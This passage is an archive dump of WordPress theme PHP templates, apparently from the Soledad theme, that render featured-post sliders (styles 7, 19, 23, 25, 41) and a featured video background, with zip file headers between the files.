                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } else { ?>
                        <a class="penci-image-holder"
                           style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), penci_is_mobile() ? $image_msize : $thumb ); ?>');"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } ?>
                    <div class="penci-slide-overlay penci-slider6-overlay">
                        <a class="overlay-link"
                           aria-label="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                           href="<?php the_permalink(); ?>"></a>
						<?php if ( ! get_theme_mod( 'penci_featured_slider_icons' ) && ( has_post_format( 'video' ) || has_post_format( 'audio' ) || has_post_format( 'link' ) || has_post_format( 'quote' ) || has_post_format( 'gallery' ) ) ): ?>
                            <a href="<?php the_permalink(); ?>"
                               class="overlay-icon-format<?php if ( $i % 5 == 1 ): echo ' lager-size-icon'; endif; ?>">
								<?php if ( has_post_format( 'video' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-play' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'audio' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-music' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'link' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-link' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'quote' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-quote-left' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'gallery' ) ) : ?>
									<?php penci_fawesome_icon( 'far fa-image' ); ?>
								<?php endif; ?>
                            </a>
						<?php endif; ?>
                        <div class="penci-mag-featured-content">
                            <div class="feat-text<?php if ( get_theme_mod( 'penci_featured_meta_date' ) ): echo ' slider-hide-date'; endif; ?>">
								<?php if ( ( $i % 5 == 1 || get_theme_mod( 'penci_featured_show_categories' ) ) && ! get_theme_mod( 'penci_featured_hide_categories' ) ): ?>
                                    <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
								<?php endif; ?>
                                <h3><a title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                                       href="<?php the_permalink() ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                                </h3>
								<?php if ( ! get_theme_mod( 'penci_featured_meta_comment' ) || ! get_theme_mod( 'penci_featured_meta_date' ) || get_theme_mod( 'penci_featured_meta_author' ) ): ?>
                                    <div class="feat-meta">
										<?php if ( get_theme_mod( 'penci_featured_meta_author' ) ): ?>
                                            <span class="feat-author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                        href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
										<?php endif; ?>
										<?php if ( ! get_theme_mod( 'penci_featured_meta_date' ) ): ?>
                                            <span class="feat-time"><?php penci_soledad_time_link(); ?></span>
										<?php endif; ?>
										<?php if ( ! get_theme_mod( 'penci_featured_meta_comment' ) ): ?>
                                            <span class="feat-comments"><a
                                                        href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
										<?php endif; ?>
										<?php do_action( 'penci_extra_meta' ); ?>
                                    </div>
								<?php endif; ?>
                            </div>
                        </div>
                    </div>
                </div>

				<?php if ( $i % 5 == 0 && $i > 1 && $i < $num_posts ): echo '</div></div><div class="item swiper-slide"><div class="wrapper-item wrapper-item-classess">'; endif; ?>

				<?php $i ++; endwhile;
			wp_reset_postdata(); ?>
        </div>
    </div>
<?php endif; ?>
PK     N\"O       inc/featured_slider/style-23.phpnu [        <?php
/**
 * Template part for Slider Style 23
 */

$feat_query = penci_get_query_featured_slider();
if ( ! $feat_query ) {
	return;
}
$slider_title_length = get_theme_mod( 'penci_slider_title_length' ) ? get_theme_mod( 'penci_slider_title_length' ) : 12;
$image_size          = get_theme_mod( 'featured_slider_imgsize' ) ? get_theme_mod( 'featured_slider_imgsize' ) : 'penci-thumb';
$image_size_big      = get_theme_mod( 'featured_slider_imgbig' ) ? get_theme_mod( 'featured_slider_imgbig' ) : 'penci-magazine-slider';

	$image_size_mobile = get_theme_mod( 'featured_slider_imgsize_mobile' ) ? get_theme_mod( 'featured_slider_imgsize_mobile' ) : 'penci-masonry-thumb';

?>
<?php if ( $feat_query->have_posts() ) : ?>
    <div class="item swiper-slide">
        <div class="wrapper-item wrapper-item-classess">
			<?php $i   = 1;
			$num_posts = $feat_query->post_count;
			while ( $feat_query->have_posts() ) : $feat_query->the_post();
				$thumb = $image_size;
				if ( ( $i % 6 == 1 || $i % 6 == 2 ) && ! penci_is_mobile() ): $thumb = $image_size_big; endif;
				$sizep = 'small';
				if ( $i % 6 == 1 || $i % 6 == 2 ): $sizep = 'normal'; endif;
				?>
                <div class="penci-item-mag penci-item-<?php echo( $i % 6 ); ?>">
	                <?php do_action( 'penci_bookmark_post',get_the_ID(),$sizep ); ?>
					<?php if ( ! get_theme_mod( 'penci_disable_lazyload_slider' ) ) { ?>
                        <a class="penci-image-holder <?php echo penci_classes_slider_lazy(); ?>"
                           data-bgset="<?php echo penci_image_srcset( get_the_ID(),$thumb,$image_size_mobile ); ?>"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } else { ?>
                        <a class="penci-image-holder"
                           style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), penci_is_mobile() ? $image_size_mobile : $thumb ); ?>');"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } ?>
                    <div class="penci-slide-overlay penci-slider6-overlay">
                        <a class="overlay-link"
                           aria-label="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                           href="<?php the_permalink(); ?>"></a>
						<?php if ( ! get_theme_mod( 'penci_featured_slider_icons' ) && ( has_post_format( 'video' ) || has_post_format( 'audio' ) || has_post_format( 'link' ) || has_post_format( 'quote' ) || has_post_format( 'gallery' ) ) ): ?>
                            <a href="<?php the_permalink(); ?>"
                               class="overlay-icon-format <?php if ( $i % 6 == 1 || $i % 6 == 2 ): echo ' lager-size-icon'; endif; ?>">
								<?php if ( has_post_format( 'video' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-play' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'audio' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-music' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'link' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-link' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'quote' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-quote-left' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'gallery' ) ) : ?>
									<?php penci_fawesome_icon( 'far fa-image' ); ?>
								<?php endif; ?>
                            </a>
						<?php endif; ?>
                        <div class="penci-mag-featured-content">
                            <div class="feat-text<?php if ( get_theme_mod( 'penci_featured_meta_date' ) ): echo ' slider-hide-date'; endif; ?>">
								<?php if ( ! get_theme_mod( 'penci_featured_hide_categories' ) && get_theme_mod( 'penci_featured_show_categories' ) ): ?>
                                    <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
								<?php endif; ?>
                                <h3><a title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                                       href="<?php the_permalink() ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                                </h3>
								<?php if ( $i % 6 == 1 || $i % 6 == 2 ): ?>
									<?php if ( ! get_theme_mod( 'penci_featured_meta_comment' ) || ! get_theme_mod( 'penci_featured_meta_date' ) || get_theme_mod( 'penci_featured_meta_author' ) ): ?>
                                        <div class="feat-meta">
											<?php if ( get_theme_mod( 'penci_featured_meta_author' ) ): ?>
                                                <span class="feat-author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                            href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
											<?php endif; ?>
											<?php if ( ! get_theme_mod( 'penci_featured_meta_date' ) ): ?>
                                                <span class="feat-time"><?php penci_soledad_time_link(); ?></span>
											<?php endif; ?>
											<?php if ( ! get_theme_mod( 'penci_featured_meta_comment' ) ): ?>
                                                <span class="feat-comments"><a
                                                            href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
											<?php endif; ?>
											<?php do_action( 'penci_extra_meta' ); ?>
                                        </div>
									<?php endif; ?>
								<?php endif; ?>
                            </div>
                        </div>
                    </div>
                </div>

				<?php if ( $i % 6 == 0 && $i > 1 && $i < $num_posts ): echo '</div></div><div class="item swiper-slide"><div class="wrapper-item wrapper-item-classess">'; endif; ?>

				<?php $i ++; endwhile;
			wp_reset_postdata(); ?>
        </div>
    </div>
<?php endif; ?>
PK     N\֎t    &  inc/featured_slider/featured_video.phpnu [        <?php
/**
 * Featured video background
 * When featured video background is enable, it will disable featured slider
 *
 * @since 1.0
 */

$video_url = get_theme_mod( 'penci_featured_video_url' );
$start_time = get_theme_mod( 'penci_featured_video_start' );
if( ! is_numeric( $start_time ) || ! $start_time ) { $start_time = '0'; }
?>
<div class="featured-area featured-video">
	<div class="featured-video-background<?php if( get_theme_mod( 'penci_featured_video_img_mobile' ) ): ?> has-bg-image<?php endif; ?>" id="penci-featured-video-bg" data-videosrc="<?php echo esc_attr( $video_url ); ?>" data-starttime="<?php echo absint( $start_time ); ?>">
		<?php if( get_theme_mod( 'penci_featured_video_img_mobile' ) ): ?>
			<div class="penci-video-overlay-background" style="background-image: url('<?php echo get_theme_mod( 'penci_featured_video_img_mobile' ); ?>');"></div>
		<?php endif; ?>
		<div class="penci-video-bg-overlay"></div>
		<?php if( get_theme_mod( 'penci_featured_video_text_heading' ) || get_theme_mod( 'penci_featured_video_sub_heading' ) || get_theme_mod( 'penci_featured_video_image' ) ): ?>
			<div class="penci-video-overlay">
				<?php if( get_theme_mod( 'penci_featured_video_image' ) ): ?>
					<div class="penci-video-custom-img<?php if( ! get_theme_mod( 'penci_featured_video_text_heading' ) && ! get_theme_mod( 'penci_featured_video_sub_heading' ) ): echo ' no-margin-bottom'; endif; ?>">
						<img src="<?php echo get_theme_mod( 'penci_featured_video_image' ); ?>" alt="Video Image" />
					</div>
				<?php endif; ?>
				<?php if( get_theme_mod( 'penci_featured_video_text_heading' ) ): ?>
					<h2 class="penci-heading-video"><?php echo do_shortcode( get_theme_mod( 'penci_featured_video_text_heading' ) ); ?></h2>
				<?php endif; ?>
				<?php if( get_theme_mod( 'penci_featured_video_sub_heading' ) ): ?>
					<p class="penci-sub-heading-video"><?php echo do_shortcode( get_theme_mod( 'penci_featured_video_sub_heading' ) ); ?></p>
				<?php endif; ?>
			</div>
		<?php endif; ?>
	</div>
</div>PK     N\J  J     inc/featured_slider/style-25.phpnu [        <?php
/**
 * Template part for Slider Style 25
 */

$feat_query = penci_get_query_featured_slider();
if ( ! $feat_query ) {
	return;
}
$slider_title_length = get_theme_mod( 'penci_slider_title_length' ) ? get_theme_mod( 'penci_slider_title_length' ) : 12;
$image_size          = get_theme_mod( 'featured_slider_imgsize' ) ? get_theme_mod( 'featured_slider_imgsize' ) : 'penci-thumb';
$image_size_big      = get_theme_mod( 'featured_slider_imgbig' ) ? get_theme_mod( 'featured_slider_imgbig' ) : 'penci-magazine-slider';

$image_size_mobile = get_theme_mod( 'featured_slider_imgsize_mobile' ) ? get_theme_mod( 'featured_slider_imgsize_mobile' ) : 'penci-masonry-thumb';

?>
<?php if ( $feat_query->have_posts() ) : ?>
    <div class="item swiper-slide">
        <div class="wrapper-item wrapper-item-classess">
			<?php $i   = 1;
			$num_posts = $feat_query->post_count;
			while ( $feat_query->have_posts() ) : $feat_query->the_post();
				$thumb = $image_size;
				if ( $i % 4 == 1 ): $thumb = $image_size_big; endif;
				$sizep = 'small';
				if ( $i % 4 == 1 ): $sizep = 'normal'; endif;
				?>
                <div class="penci-item-mag penci-item-<?php echo( $i % 4 ); ?>">
					<?php do_action( 'penci_bookmark_post', get_the_ID(), $sizep ); ?>
					<?php if ( ! get_theme_mod( 'penci_disable_lazyload_slider' ) ) { ?>
                        <a class="penci-image-holder <?php echo penci_classes_slider_lazy(); ?>"
                           data-bgset="<?php echo penci_image_srcset( get_the_ID(), $thumb, $image_size_mobile ); ?>"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } else { ?>
                        <a class="penci-image-holder"
                           style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), penci_is_mobile() ? $image_size_mobile : $thumb ); ?>');"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } ?>
                    <div class="penci-slide-overlay penci-slider6-overlay">
                        <a class="overlay-link"
                           aria-label="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                           href="<?php the_permalink(); ?>"></a>
						<?php if ( ! get_theme_mod( 'penci_featured_slider_icons' ) && ( has_post_format( 'video' ) || has_post_format( 'audio' ) || has_post_format( 'link' ) || has_post_format( 'quote' ) || has_post_format( 'gallery' ) ) ): ?>
                            <a href="<?php the_permalink(); ?>"
                               class="overlay-icon-format <?php if ( $i % 4 == 1 ): echo ' lager-size-icon'; endif; ?>">
								<?php if ( has_post_format( 'video' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-play' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'audio' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-music' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'link' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-link' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'quote' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-quote-left' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'gallery' ) ) : ?>
									<?php penci_fawesome_icon( 'far fa-image' ); ?>
								<?php endif; ?>
                            </a>
						<?php endif; ?>
                        <div class="penci-mag-featured-content">
                            <div class="feat-text<?php if ( get_theme_mod( 'penci_featured_meta_date' ) ): echo ' slider-hide-date'; endif; ?>">
								<?php if ( ( $i % 4 == 1 || get_theme_mod( 'penci_featured_show_categories' ) ) && ! get_theme_mod( 'penci_featured_hide_categories' ) ): ?>
                                    <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
								<?php endif; ?>
                                <h3><a title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                                       href="<?php the_permalink() ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                                </h3>
								<?php if ( $i % 4 == 1 ): ?>
									<?php if ( ! get_theme_mod( 'penci_featured_meta_comment' ) || ! get_theme_mod( 'penci_featured_meta_date' ) || get_theme_mod( 'penci_featured_meta_author' ) ): ?>
                                        <div class="feat-meta">
											<?php if ( get_theme_mod( 'penci_featured_meta_author' ) ): ?>
                                                <span class="feat-author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                            href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
											<?php endif; ?>
											<?php if ( ! get_theme_mod( 'penci_featured_meta_date' ) ): ?>
                                                <span class="feat-time"><?php penci_soledad_time_link(); ?></span>
											<?php endif; ?>
											<?php if ( ! get_theme_mod( 'penci_featured_meta_comment' ) ): ?>
                                                <span class="feat-comments"><a
                                                            href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
											<?php endif; ?>
											<?php do_action( 'penci_extra_meta' ); ?>
                                        </div>
									<?php endif; ?>
								<?php endif; ?>
                            </div>
                        </div>
                    </div>
                </div>

				<?php if ( $i % 4 == 0 && $i > 1 && $i < $num_posts ): echo '</div></div><div class="item swiper-slide"><div class="wrapper-item wrapper-item-classess">'; endif; ?>

				<?php $i ++; endwhile;
			wp_reset_postdata(); ?>
        </div>
    </div>
<?php endif; ?>
PK     N\Oo[R  R     inc/featured_slider/style-19.phpnu [        <?php
/**
 * Template part for Slider Style 19
 */


$feat_query = penci_get_query_featured_slider();
if ( ! $feat_query ) {
	return;
}
$slider_title_length = get_theme_mod( 'penci_slider_title_length' ) ? get_theme_mod( 'penci_slider_title_length' ) : 12;
$image_size          = get_theme_mod( 'featured_slider_imgsize' ) ? get_theme_mod( 'featured_slider_imgsize' ) : 'penci-thumb';
$image_size_big      = get_theme_mod( 'featured_slider_imgbig' ) ? get_theme_mod( 'featured_slider_imgbig' ) : 'penci-magazine-slider';

	$image_size_mobile = get_theme_mod( 'featured_slider_imgsize_mobile' ) ? get_theme_mod( 'featured_slider_imgsize_mobile' ) : 'penci-masonry-thumb';

?>
<?php if ( $feat_query->have_posts() ) : ?>
    <div class="item swiper-slide">
        <div class="wrapper-item wrapper-item-classess">
			<?php $i   = 1;
			$num_posts = $feat_query->post_count;
			while ( $feat_query->have_posts() ) : $feat_query->the_post();
				$thumb = $image_size;
				if ( ( $i % 4 == 1 || $i % 4 == 0 ) && ! penci_is_mobile() ): $thumb = $image_size_big; endif;
				?>
                <div class="penci-item-mag penci-item-<?php echo( $i % 4 ); ?>">
	                <?php do_action( 'penci_bookmark_post' ); ?>
					<?php if ( ! get_theme_mod( 'penci_disable_lazyload_slider' ) ) { ?>
                        <a class="penci-image-holder <?php echo penci_classes_slider_lazy(); ?>"
                           data-bgset="<?php echo penci_image_srcset( get_the_ID(),$thumb,$image_size_mobile ); ?>"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } else { ?>
                        <a class="penci-image-holder"
                           style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), penci_is_mobile() ? $image_size_mobile : $thumb ); ?>');"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } ?>

                    <div class="penci-slide-overlay penci-slider6-overlay">
                        <a class="overlay-link"
                           aria-label="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                           href="<?php the_permalink(); ?>"></a>
						<?php if ( ! get_theme_mod( 'penci_featured_slider_icons' ) && ( has_post_format( 'video' ) || has_post_format( 'audio' ) || has_post_format( 'link' ) || has_post_format( 'quote' ) || has_post_format( 'gallery' ) ) ): ?>
                            <a href="<?php the_permalink(); ?>" class="overlay-icon-format">
								<?php if ( has_post_format( 'video' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-play' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'audio' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-music' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'link' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-link' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'quote' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-quote-left' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'gallery' ) ) : ?>
									<?php penci_fawesome_icon( 'far fa-image' ); ?>
								<?php endif; ?>
                            </a>
						<?php endif; ?>
                        <div class="penci-mag-featured-content">
                            <div class="feat-text<?php if ( get_theme_mod( 'penci_featured_meta_date' ) ): echo ' slider-hide-date'; endif; ?>">
								<?php if ( ! get_theme_mod( 'penci_featured_hide_categories' ) && get_theme_mod( 'penci_featured_show_categories' ) ): ?>
                                    <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
								<?php endif; ?>
                                <h3><a title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                                       href="<?php the_permalink() ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                                </h3>
								<?php if ( ! get_theme_mod( 'penci_featured_meta_comment' ) || ! get_theme_mod( 'penci_featured_meta_date' ) || get_theme_mod( 'penci_featured_meta_author' ) ): ?>
                                    <div class="feat-meta">
										<?php if ( get_theme_mod( 'penci_featured_meta_author' ) ): ?>
                                            <span class="feat-author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                        href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
										<?php endif; ?>
										<?php if ( ! get_theme_mod( 'penci_featured_meta_date' ) ): ?>
                                            <span class="feat-time"><?php penci_soledad_time_link(); ?></span>
										<?php endif; ?>
										<?php if ( ! get_theme_mod( 'penci_featured_meta_comment' ) ): ?>
                                            <span class="feat-comments"><a
                                                        href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
										<?php endif; ?>
										<?php do_action( 'penci_extra_meta' ); ?>
                                    </div>
								<?php endif; ?>
                            </div>
                        </div>
                    </div>
                </div>

				<?php if ( $i % 4 == 0 && $i > 1 && $i < $num_posts ): echo '</div></div><div class="item swiper-slide"><div class="wrapper-item wrapper-item-classess">'; endif; ?>

				<?php $i ++; endwhile;
			wp_reset_postdata(); ?>
        </div>
    </div>
<?php endif; ?>
PK     N\L]      inc/featured_slider/style-7.phpnu [        <?php
/**
 * Template part for Slider Style 7
 */

$feat_query = penci_get_query_featured_slider();
if ( ! $feat_query ) {
	return;
}
$slider_title_length = get_theme_mod( 'penci_slider_title_length' ) ? get_theme_mod( 'penci_slider_title_length' ) : 12;
$image_size          = get_theme_mod( 'featured_slider_imgsize' ) ? get_theme_mod( 'featured_slider_imgsize' ) : 'penci-thumb-square';

	$image_size_m = get_theme_mod( 'featured_slider_imgsize_mobile' ) ? get_theme_mod( 'featured_slider_imgsize_mobile' ) : 'penci-masonry-thumb';

?>
<?php if ( $feat_query->have_posts() ) : ?>
	<?php $i   = 1;
	$num_posts = $feat_query->post_count;
	while ( $feat_query->have_posts() ) : $feat_query->the_post(); ?>
        <div class="item swiper-slide">
            <div class="wrapper-item wrapper-item-classess">
                <div class="penci-item-mag penci-item-<?php echo( $i % 4 ); ?>">
	                <?php do_action( 'penci_bookmark_post' ); ?>
					<?php if ( ! get_theme_mod( 'penci_disable_lazyload_slider' ) ) { ?>
                        <a class="penci-image-holder <?php echo penci_classes_slider_lazy(); ?>"
                           data-bgset="<?php echo penci_image_srcset( get_the_ID(),$image_size,$image_size_m ); ?>"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } else { ?>
                        <a class="penci-image-holder"
                           style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), penci_is_mobile() ? $image_size_m : $image_size ); ?>');"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } ?>
                    <div class="penci-slide-overlay penci-slider7-overlay">
                        <a class="overlay-link"
                           aria-label="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                           href="<?php the_permalink(); ?>"></a>
						<?php if ( ! get_theme_mod( 'penci_featured_slider_icons' ) && ( has_post_format( 'video' ) || has_post_format( 'audio' ) || has_post_format( 'link' ) || has_post_format( 'quote' ) || has_post_format( 'gallery' ) ) ): ?>
                            <a href="<?php the_permalink(); ?>" class="overlay-icon-format lager-size-icon">
								<?php if ( has_post_format( 'video' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-play' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'audio' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-music' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'link' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-link' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'quote' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-quote-left' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'gallery' ) ) : ?>
									<?php penci_fawesome_icon( 'far fa-image' ); ?>
								<?php endif; ?>
                            </a>
						<?php endif; ?>
                        <div class="penci-mag-featured-content">
                            <div class="feat-text<?php if ( get_theme_mod( 'penci_featured_meta_date' ) ): echo ' slider-hide-date'; endif; ?>">
								<?php if ( ! get_theme_mod( 'penci_featured_hide_categories' ) && get_theme_mod( 'penci_featured_show_categories' ) ): ?>
                                    <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
								<?php endif; ?>
                                <h3><a title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                                       href="<?php the_permalink() ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                                </h3>
								<?php if ( ! get_theme_mod( 'penci_featured_meta_comment' ) || ! get_theme_mod( 'penci_featured_meta_date' ) || get_theme_mod( 'penci_featured_meta_author' ) ): ?>
                                    <div class="feat-meta">
										<?php if ( get_theme_mod( 'penci_featured_meta_author' ) ): ?>
                                            <span class="feat-author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                        href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
										<?php endif; ?>
										<?php if ( ! get_theme_mod( 'penci_featured_meta_date' ) ): ?>
                                            <span class="feat-time"><?php penci_soledad_time_link(); ?></span>
										<?php endif; ?>
										<?php if ( ! get_theme_mod( 'penci_featured_meta_comment' ) ): ?>
                                            <span class="feat-comments"><a
                                                        href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
										<?php endif; ?>
										<?php do_action( 'penci_extra_meta' ); ?>
                                    </div>
								<?php endif; ?>
                            </div>
                        </div>
                    </div>
                </div>
            </div>
        </div>
		<?php $i ++; endwhile;
	wp_reset_postdata(); ?>
<?php endif; ?>
PK     N\2       inc/featured_slider/style-41.phpnu [        <?php
/**
 * Template part for Slider Style 41
 */
$feat_query = penci_get_query_featured_slider();
if ( ! $feat_query ) {
	return;
}
$slider_title_length = get_theme_mod( 'penci_slider_title_length' ) ? get_theme_mod( 'penci_slider_title_length' ) : 12;
$image_size          = get_theme_mod( 'featured_slider_imgsize' ) ? get_theme_mod( 'featured_slider_imgsize' ) : 'penci-full-thumb';
if ( penci_is_mobile() ) {
	$image_size = get_theme_mod( 'featured_slider_imgsize_mobile' ) ? get_theme_mod( 'featured_slider_imgsize_mobile' ) : 'penci-full-thumb';
}
$main_id  = 'fsm_' . rand();
$thumb_id = 'fst_' . rand();
$data_auto    = get_theme_mod( 'penci_featured_autoplay' ) ? 'true' : 'false';
$data_loop    = get_theme_mod( 'penci_featured_loop' ) ? 'false' : 'true';
$auto_time    = is_numeric( $auto_time = get_theme_mod( 'penci_featured_slider_auto_time' ) ) ? $auto_time : '4000';
$auto_speed   = is_numeric( $auto_speed = get_theme_mod( 'penci_featured_slider_auto_speed' ) ) ? $auto_speed : '600';
?>
<div class="penci-slider41-wrapper">
    <div class="penci-slider41-thumb-wrapper">
        <div class="penci-slider41-thumb penci-owl-carousel penci-owl-carousel-slider swiper" data-item="4"
             data-direction="vertical" data-desktop="4" data-tablet="3" data-mobile="3" data-margin="0"
             data-id="<?php echo $thumb_id; ?>"
             data-auto="<?php echo $data_auto;?>" data-autotime="<?php echo $auto_time;?>" data-speed="<?php echo $auto_speed;?>"
             data-thumb="yes" data-height="false" data-loop="true" data-nav="false">
            <div class="penci-slider41-thumb-inner swiper-wrapper">
				<?php $thumbcount = 0;
				if ( $feat_query->have_posts() ) : while ( $feat_query->have_posts() ) : $feat_query->the_post(); ?>
                    <div class="item swiper-slide">

                        <div class="penci-slider41-t-item">

                            <div class="pcslider-41-img">
                                <div class="penci-image-holder"
                                     style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), $image_size ); ?>');"
                                     href="<?php the_permalink(); ?>"
                                     title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></div>
                            </div>
                            <div class="pcslider-41-ct">
                                <h3><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></h3>
                            </div>

                        </div>

                    </div>
				<?php endwhile;
					wp_reset_postdata(); endif; ?>
            </div>
        </div>
    </div>
    <div class="penci-slider41-main-wrapper">
        <div class="penci-slider41-main penci-owl-carousel penci-owl-carousel-slider swiper" data-auto="<?php echo $data_auto;?>" data-autotime="<?php echo $auto_time;?>" data-speed="<?php echo $auto_speed;?>" data-nav="true"
             data-loop="true" data-thumbs-id="<?php echo $thumb_id; ?>" data-id="<?php echo $main_id; ?>">
            <div class="swiper-wrapper">
				<?php if ( $feat_query->have_posts() ) : while ( $feat_query->have_posts() ) : $feat_query->the_post(); ?>
                    <div class="item swiper-slide">
                        <a class="penci-slider41-overlay"
                           aria-label="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                           href="<?php the_permalink(); ?>"></a>
                        <div class="item-inner-content">
                            <a class="penci-image-holder"
                               style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), $image_size ); ?>');"
                               href="<?php the_permalink(); ?>"
                               title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>

							<?php if ( ! get_theme_mod( 'penci_featured_center_box' ) ): ?>
                                <div class="penci-featured-content">
